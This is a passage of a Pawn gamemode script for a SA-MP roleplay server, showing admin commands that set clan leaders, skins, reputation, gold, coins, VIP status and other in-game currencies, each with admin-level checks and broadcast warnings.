			SaveKonVal(para1, "pRank", 0);
			PlayerInfo[para1][pTeam] = TEAM_CIV;
			SaveKonVal(para1, "pTeam", TEAM_CIV);
			SCM(para1, COLOR_WHITE, strings);
			ABroadCast(COLOR_WHITE,strring,1);
			ResetPlayerKolang(para1);
			SetPlayerSkin(para1, PlayerInfo[para1][cSkin]);
			PINFO[para1][pLeader] = 0;
			SaveKonVal(para1, "pLeader", 0);
			SetPlayerToTeamColor(para1);
			SetSpawnKol(para1);
			if(PINFO[para1][pAdmin] < 12) SetPlayerSkin(para1, 217);
			return 1;
		}
		//format(string, sizeof(string), "You have given %s control to run Faction %s.", giveplayer,faname);
		//SendMessage(playerid, COLOR_WHITE, string);
		new fanam[128];
		if(level == 0) { fanam = "{FFFFFF}Cilivian"; }
		else if(level == 1) { fanam = "{0000ff}Police Department"; }
		else if(level == 2) { fanam = "{0000CC}Federal Bureau of Investigation"; }
		else if(level == 3) { fanam = "{2c4c9b}National Guard"; }
		else if(level == 4) { fanam = "{FF4500}Fire & Medic Department"; }
		else if(level == 5) { fanam = "{5D7E8D}The Silence Mafia"; }
		else if(level == 6) { fanam = "{3E3535}The Killers Family Family"; }
		else if(level == 7) { fanam = "{BBF060}Mayor"; }
		else if(level == 8) { fanam = "{8E2323}Hitman Agency"; }
		else if(level == 9) { fanam = "{825B8C}News Reporter"; }
		else if(level == 10) { fanam = "{FFFF00}Taxi Driver"; }
		else if(level == 11) { fanam = "{00a6ff}School Instructor"; }
		else if(level == 12) { fanam = "{19AF23}Dangerous Tiger Family"; }
		else if(level == 13) { fanam = "{FFBA00}Legendary Men Family"; }
		else if(level == 14) { fanam = "{B32CF6}Fast N Furious Family"; }
		else if(level == 15) { fanam = "{00ECEC}Storm Men Family"; }
		else if(level == 16) { fanam = "{F9F7CE}Tow Truck Company"; }
		else if(level == 17) { fanam = "{FF0000}Staff Family"; }
		else if(level == 19) { fanam = "{0E47FF}Top Boys Family"; }
		else if(level == 20) { fanam = "{60F565}San Fiero Police Departement"; }
		else if(level == 21) { fanam = "{7D633B}SoldierShip"; }
		format(strr, sizeof(strr), "[Admin-Warn]: {FFFFFF}Admin %s has promoted %s. to be leader of %s.", sendername, giveplayer, fanam);
		new Member[64];
		format(Member, sizeof(Member), "%d",level);
		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);


		ABroadCast(COLOR_AdminWarn,strr,1);
		PlayerInfo[para1][pRank] = 7;
		SaveKonValSina(para1, "pRank", 7);
		if(level == 1)
		{
			PlayerInfo[para1][fSkin] = 265;
			SaveKonValSina(para1, "fSkin", 265);
			PlayerInfo[para1][pTeam] = TEAM_COP;
		} //Police Force
		else if(level == 2)
		{
			PlayerInfo[para1][fSkin] = 286;
			SaveKonValSina(para1, "fSkin", 286);
			PlayerInfo[para1][pTeam] = TEAM_COP;
		} //FBI
		else if(level == 3)
		{
			PlayerInfo[para1][fSkin] = 287;
			SaveKonValSina(para1, "fSkin", 287);
			PlayerInfo[para1][pTeam] = TEAM_COP;
		} //National Guard
		else if(level == 4)
		{
			PlayerInfo[para1][fSkin] = 228;
			SaveKonValSina(para1, "fSkin", 228);
			PlayerInfo[para1][pTeam] = TEAM_MEDIC;
		} //Fire/Ambulance
		else if(level == 5)
		{
			PlayerInfo[para1][fSkin] = 111;
			SaveKonValSina(para1, "fSkin", 111);
			PlayerInfo[para1][pTeam] = TEAM_SM;
		} //Da Nang Boys
		else if(level == 6)
		{
			PlayerInfo[para1][fSkin] = 113;
			SaveKonValSina(para1, "fSkin", 113);
			PlayerInfo[para1][pTeam] = TEAM_KM;
		} //Triads
		else if(level == 7)
		{
			PlayerInfo[para1][fSkin] = 295;
			SaveKonValSina(para1, "fSkin", 295);
			PlayerInfo[para1][pTeam] = TEAM_CIV;
		} //Mayor
		else if(level == 8)
		{
			PlayerInfo[para1][fSkin] = 294;
			SaveKonValSina(para1, "fSkin", 294);
			PlayerInfo[para1][pTeam] = TEAM_HITMAN;
		} //Hitmans
		else if(level == 9)
		{
			PlayerInfo[para1][fSkin] = 147;
			SaveKonValSina(para1, "fSkin", 147);
			PlayerInfo[para1][pTeam] = TEAM_NEWS;
		} //News Reporters
		else if(level == 10)
		{
			PlayerInfo[para1][fSkin] = 61;
			SaveKonValSina(para1, "fSkin", 61);
			PlayerInfo[para1][pTeam] = TEAM_TAXI;
		} //Taxi Cab Company
		else if(level == 11)
		{
			PlayerInfo[para1][fSkin] = 171;
			SaveKonValSina(para1, "fSkin", 171);
			PlayerInfo[para1][pTeam] = TEAM_SI;
		} //Driving/Flying School
		else if(level == 12)
		{
			PlayerInfo[para1][fSkin] = 270;
			SaveKonValSina(para1, "fSkin", 270);
			PlayerInfo[para1][pTeam] = TEAM_GroveStreet;
		} //Grove Street Family
		else if(level == 13)
		{
			PlayerInfo[para1][fSkin] = 126;
			SaveKonValSina(para1, "fSkin", 126);
			PlayerInfo[para1][pTeam] = TEAM_Vagos;
		} //Vagos Family
		else if(level == 14)
		{
			PlayerInfo[para1][fSkin] = 185;
			SaveKonValSina(para1, "fSkin", 185);
			PlayerInfo[para1][pTeam] = TEAM_TBF;
		} //TBF Family
		else if(level == 15)
		{
			PlayerInfo[para1][fSkin] = 115;
			SaveKonValSina(para1, "fSkin", 115);
			PlayerInfo[para1][pTeam] = TEAM_VLA;
		} //VLA
		else if(level == 16)
		{
			PlayerInfo[para1][fSkin] = 268;
			SaveKonValSina(para1, "fSkin", 268);
			PlayerInfo[para1][pTeam] = TEAM_TOW;
		} //Tow Car Company
			else if(level == 17)
		{
			PlayerInfo[para1][fSkin] = 217;
			SaveKonValSina(para1, "fSkin", 217);
			PlayerInfo[para1][pTeam] = TEAM_STAFF;
		} //Staff
			else if(level == 19)
		{
			PlayerInfo[para1][fSkin] = 23;
			SaveKonValSina(para1, "fSkin", 23);
			PlayerInfo[para1][pTeam] = TEAM_TopBoys;
		} //Staff
			else if(level == 20)
		{
			PlayerInfo[para1][fSkin] = 164;
			SaveKonValSina(para1, "fSkin", 164);
			PlayerInfo[para1][pTeam] = TEAM_COP;
		} //SFPD
		else if(level == 21)
		{
			PlayerInfo[para1][pTeam] = TEAM_CIV;
			SaveKonValSina(para1, "pTeam", TEAM_CIV);
			PlayerInfo[para1][fSkin] = 287;
			SaveKonValSina(para1, "fSkin", 287);
		} //SoldierShip
		SaveKonValSina(para1, "fSkin", PINFO[para1][fSkin]);
		SaveKonValSina(para1, "pTeam", PINFO[para1][pTeam]);
		SetPlayerSkin(para1, PlayerInfo[para1][fSkin]);
		SetPlayerToTeamColor(para1);
		SetSpawnKol(para1);
		if(PINFO[para1][pAdmin] < 12) SetPlayerSkin(para1, 217);
		//SaveAccount(para1);

		AddLog(PINFO[para1][pName], Member, "Joined the faction [RLeader]", reas, 1);
		return 1;
	}
	*/
	if(strcmp(cmd, "/makeclanleader", true) == 0 || strcmp(cmd, "/mcleader", true) == 0)
	{
		if(PlayerInfo[playerid][pAdmin] < 12)
		{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			return 1;
		}
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeclanleader <Playerid/PartOfName> <ClanID>"); return SCM(playerid,COL_SYN,"See your clan id with /cinfo.");}
		new para1;
		new level;
		para1 = ReturnUser6(tmp);
		if(!IsPlayerConnected(para1)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
		tmp = strtok(cmdtext, idx);
		if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /makeclanleader <Playerid/PartOfName> <ClanID>"); return SCM(playerid,COL_SYN,"See your clan id with /cinfo.");}
		if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		level = strval(tmp);
		/*
		if(GetPlayerWantedLevel(para1) >= 1)
		{
			SCM(playerid,COLOR_LIGHTRED,"That player has Wanted level.");
			return 1;
		}
		*/
		new Lol = PINFO[para1][pClan];
//		new strr[256];
		new strring[128];
		GetPlayerName(para1, giveplayer, sizeof(giveplayer));
		GetPlayerName(playerid, sendername, sizeof(sendername));
		PlayerInfo[para1][pClan] = level;
		SaveKonVal(para1, "pClan", level);
		format(strring, sizeof(strring), "Admin %s Set %s's Clan Leader To 0",sendername,giveplayer);
	   new sttrr[256];
	   format(sttrr,256,"{FFFFFF}Admin %s has been changed %s's clan leader to %d.", sendername, giveplayer, level);
	   AdminWarn(sttrr);
		if(level == 0)
		{
			new Member[64];
			format(Member, sizeof(Member), "%d",Lol);

			new reas[70];
			format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

			AddLog(PINFO[para1][pName], Member, "Left the clan", reas, 7);

			PlayerInfo[para1][pcRank] = 0;
			SaveKonVal(para1, "pcRank", 0);
			new query[512];
			mysql_format(handle, query, 512, "UPDATE `users` SET pDClan='0' WHERE pName='%e'",PINFO[para1][pName]);
			mysql_tquery(handle, query, "SendQuery", "");
			//ABroadCast(COLOR_WHITE,strring,1);
			ResetPlayerKolang(para1);
			PINFO[para1][pClan] = 0;
			SaveKonVal(para1, "pClan", 0);
			GetPlayerTag(para1);
			return 1;
		}
		new c;
		c = PlayerInfo[para1][pClan]
		GetPlayerTag(para1);
		GivePlayerTag(para1, DynamicClans[c-1][cTag]);
		PlayerInfo[para1][pcRank] = 6;
		SaveKonVal(para1, "pcRank", 6);
		new Member[64];
		format(Member, sizeof(Member), "%d",level);

		new reas[70];
		format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

		AddLog(PINFO[para1][pName], Member, "Joined the clan [RLeader]", reas, 6);
		return 1;
	}
	//----------------------------------[SETSKIN]------------------------------------------------
if(strcmp(cmd, "/setmyshopskin", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Unknown command.");
					return 1;
				}
				new level;
				level = strval(tmp);
				if(buyskins[playerid] == 0) { SendMessage(playerid, COLOR_YELLOW2, "Error: Unknown command."); return 1; }
				if(level > 299 || level < 1) { SendMessage(playerid, COLOR_YELLOW2, "Error: Wrong skin ID! [1-299]."); return 1; }

				if(PINFO[playerid][pGold] < 2000)return SCM(playerid,COLOR_YELLOW2,"Error: You haven't enough gold.");
				if(PINFO[playerid][pGold] > 1999)
					if(IsPlayerConnected(playerid))
					{

							//if(PINFO[playerid][pSoldier] != 0) return SCM(playerid, COLOR_GRAD2, "Error: You're soldier.");
							if(IsInFaction(playerid)) { PlayerInfo[playerid][fSkin] = level; SaveKonVal(playerid, "fSkin", level); }
							else { PlayerInfo[playerid][cSkin] = level; SaveKonVal(playerid, "cSkin", level); }
							PINFO[playerid][pGold] -= 2000;
						SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
						buyskins[playerid] = 0;
							if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]);}
							else { SetPlayerSkin(playerid, PINFO[playerid][cSkin]); }
				//PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], level);
				//PlayerTextDrawShow(playerid, SkinPreview[playerid]);
					}//not connected

			}
			return 1;
		}
		if(strcmp(cmd, "/setskin", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Setskin <Playerid/PartOfName> <SkinID>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if((level>311||level<0)||(level==74)) { SendMessage(playerid, COLOR_YELLOW2, "Error: Invalid skin id."); return 1; }

				if (PlayerInfo[playerid][pAdmin] >= 7 || PlayerInfo[playerid][pSponser] == 1)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
					   if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					   if(PINFO[playerid][pSponser] == 1 && para1 != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on this syntax.");
							//if(PINFO[para1][pSoldier] != 0) return SCM(playerid, COLOR_GRAD2, "That player is a soldier.");
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(IsInFaction(para1)) { PlayerInfo[para1][fSkin] = level; SaveKonVal(para1, "fSkin", level); }
							else { PlayerInfo[para1][cSkin] = level; SaveKonVal(para1, "cSkin", level); }
							format(string, sizeof(string), "Your skin has been changed by Admin %s", sendername);
							SendMessage(para1, COLOR_WHITE, string);
							format(string, sizeof(string), "You have given skin id %d to %s.", level,giveplayer);
							SendMessage(playerid, COLOR_WHITE, string);
					   format(string, 256, "[Admin-Warn]: {FFFFFF}Admin %s changed %s's skin model id to %d.", sendername,giveplayer,level);
							ABroadCast(COLOR_AdminWarn,string,1);
							if(IsInFaction(para1)) { SetPlayerSkin(para1, PlayerInfo[para1][fSkin]);}
							else { SetPlayerSkin(para1, PINFO[para1][cSkin]); }
							//PlayerTextDrawSetPreviewModel(para1, SkinPreview[para1], level);
					   //PlayerTextDrawShow(para1, SkinPreview[para1]);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/setrep", true) == 0 || strcmp(cmd, "/setreppoint", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /setreppoint <Playerid/PartOfName> <Amount>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
		  if(para1!=playerid)
		  {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't use this command on this syntax.");
			 return 1;
		  }
	   }
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
		  if (PlayerInfo[playerid][pAdmin] >= 11)
		  {
			 if(IsPlayerConnected(para1))
			 {
				if(para1 != INVALID_PLAYER_ID)
				{
					new aza[144];
					new pooz[144];
					GetPlayerName(para1, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
						PlayerInfo[para1][pRep] = level;
						SaveKonVal(para1, "pRep", level);
					format(aza, sizeof(aza), "Your reppoints was set to %s by admin %s", FormatNumber(level),sendername);
					SendClientMessage(para1, COLOR_LIGHTRED, aza);
					format(pooz, 144, "[Admin-Warn]: {FFFFFF}Admin %s has set %s's reppoints to %s.", sendername,giveplayer,FormatNumber(level));
						ABroadCast(COLOR_AdminWarn,pooz,1);
				}
			 }//not connected
		  }
		  else
		  {
			 SendClientMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
		  }
	   }
	   return 1;
	}
		  if(strcmp(cmd, "/giverep", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Giverep <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pRep] += level;
							SaveKonVal(para1, "pRep", PlayerInfo[para1][pRep]);
							format(string, sizeof(string), "You received %s reps from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s reps to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		  if(strcmp(cmd, "/giveilpoints", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /giveilpoints <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pIlPoints] += level;
							SaveKonVal(para1, "pIlPoints", PlayerInfo[para1][pIlPoints]);
							format(string, sizeof(string), "You received %s illicit points from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s illicit points to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		
		  if(strcmp(cmd, "/givebuff", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givebuff <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pBuff] += level;
							SaveKonVal(para1, "pBuff", PlayerInfo[para1][pBuff]);
							format(string, sizeof(string), "You received %s buffs from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s buffs to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		
		  if(strcmp(cmd, "/ulgps", true) == 0)
		{
 			if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /ulgps <Playerid/PartOfName> <0/1>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				new str[144];
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							if(level == 0)
							{
							PlayerInfo[para1][pGPS] = 200;
							SaveKonVal(para1, "pGPS", PlayerInfo[para1][pGPS]);
							format(string, sizeof(string), "Admin %s has set your GPS to limited type",sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							format(str, sizeof(str), "{FFFFFF}Admin %s has set %s's GPS to limited type", sendername, giveplayer);
							AdminWarn(str);
							return 1;
							}
							else if(level == 1)
							{
							PlayerInfo[para1][pGPS] = 9999;
							SaveKonVal(para1, "pGPS", PlayerInfo[para1][pGPS]);
							format(string, sizeof(string), "Admin %s has set your GPS to unlimited type",sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							format(str, sizeof(str), "{FFFFFF}Admin %s has set %s's GPS to unlimited type", sendername, giveplayer);
							AdminWarn(str);
							return 1;
							}
							else return SCM(playerid, COLOR_YELLOW2, "Error: Invalid type entered.");
						}
					}//not connected
				}
			return 1;
		}
 		  if(strcmp(cmd, "/giveliquors", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /giveliquors <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pGMute] += level;
							SaveKonVal(para1, "pGMute", PlayerInfo[para1][pGMute]);
							format(string, sizeof(string), "You received %s liquors from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s liquors to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
			return 1;
		}
 		  if(strcmp(cmd, "/givecoins", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 11) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givecoins <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new Float:level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if(PINFO[para1][pCoins]>=500.0&&level>=0)return Error(playerid, "Error: You couldn't give coins to this player.")
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pCoins] += level;
							SaveKonFloat(para1, "pCoins", PlayerInfo[para1][pCoins]);
							format(string, sizeof(string), "You received %f coins from admin %s.",level,sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %f coins to %s.", sendername, level, giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
			return 1;
		}
 		  if(strcmp(cmd, "/givegrapes", true) == 0)
		{
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givegrapes <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pDJ] += level;
							SaveKonVal(para1, "pDJ", PlayerInfo[para1][pDJ]);
							format(string, sizeof(string), "You received %s grapes from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s grapes to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
			return 1;
		}
 		  if(strcmp(cmd, "/givehackpoints", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givehackpoints <Playerid/PartOfName> <Value>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 11)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pHackPoints] += level;
							SaveKonVal(para1, "pHackPoints", PlayerInfo[para1][pHackPoints]);
							format(string, sizeof(string), "You received %s hack points from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s given %s hack points to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		
		
		if(strcmp(cmd, "/givesrp", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givesrp <Playerid/PartOfName> <Amount>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 10)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if(PINFO[playerid][pAdmin] == 7 && para1 != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can only givegold yourself.");
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pSRob] += level;
							SaveKonVal(para1, "pSRob", PlayerInfo[para1][pSRob]);
							format(string, sizeof(string), "You have received %s shop rob point(s) from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s has given %s shop rob point(s) to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		
		
		if(strcmp(cmd, "/givegold", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /givegold <Playerid/PartOfName> <Amount>");
					return 1;
				}
				new para1;
				new level;
				para1 = ReturnUser6(tmp);
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				tmp = strtok(cmdtext, idx);
				level = strval(tmp);
				if (PlayerInfo[playerid][pAdmin] >= 12)
				{
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if(PINFO[playerid][pAdmin] == 7 && para1 != playerid) return SCM(playerid, COLOR_YELLOW2, "Error: You can only givegold yourself.");
							GetPlayerName(para1, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							PlayerInfo[para1][pGold] += level;
							SaveKonVal(para1, "pGold", PlayerInfo[para1][pGold]);
							format(string, sizeof(string), "You have received %s gold(s) from admin %s.",FormatNumber(level),sendername);
							SendMessage(para1, COLOR_LIGHTRED, string);
							new str[512];
							format(str, sizeof(str), "{FFFFFF}Admin %s has given %s gold(s) to %s.", sendername, FormatNumber(level), giveplayer);
							AdminWarn(str);
						}
					}//not connected
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your Admin level isn't high enough to use this command.");
				}
			}
			return 1;
		}
		//------------------------------------------------[VIP System]----------------------------------------------------
if(strcmp(cmd, "/givevip", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 11)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /givevip <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
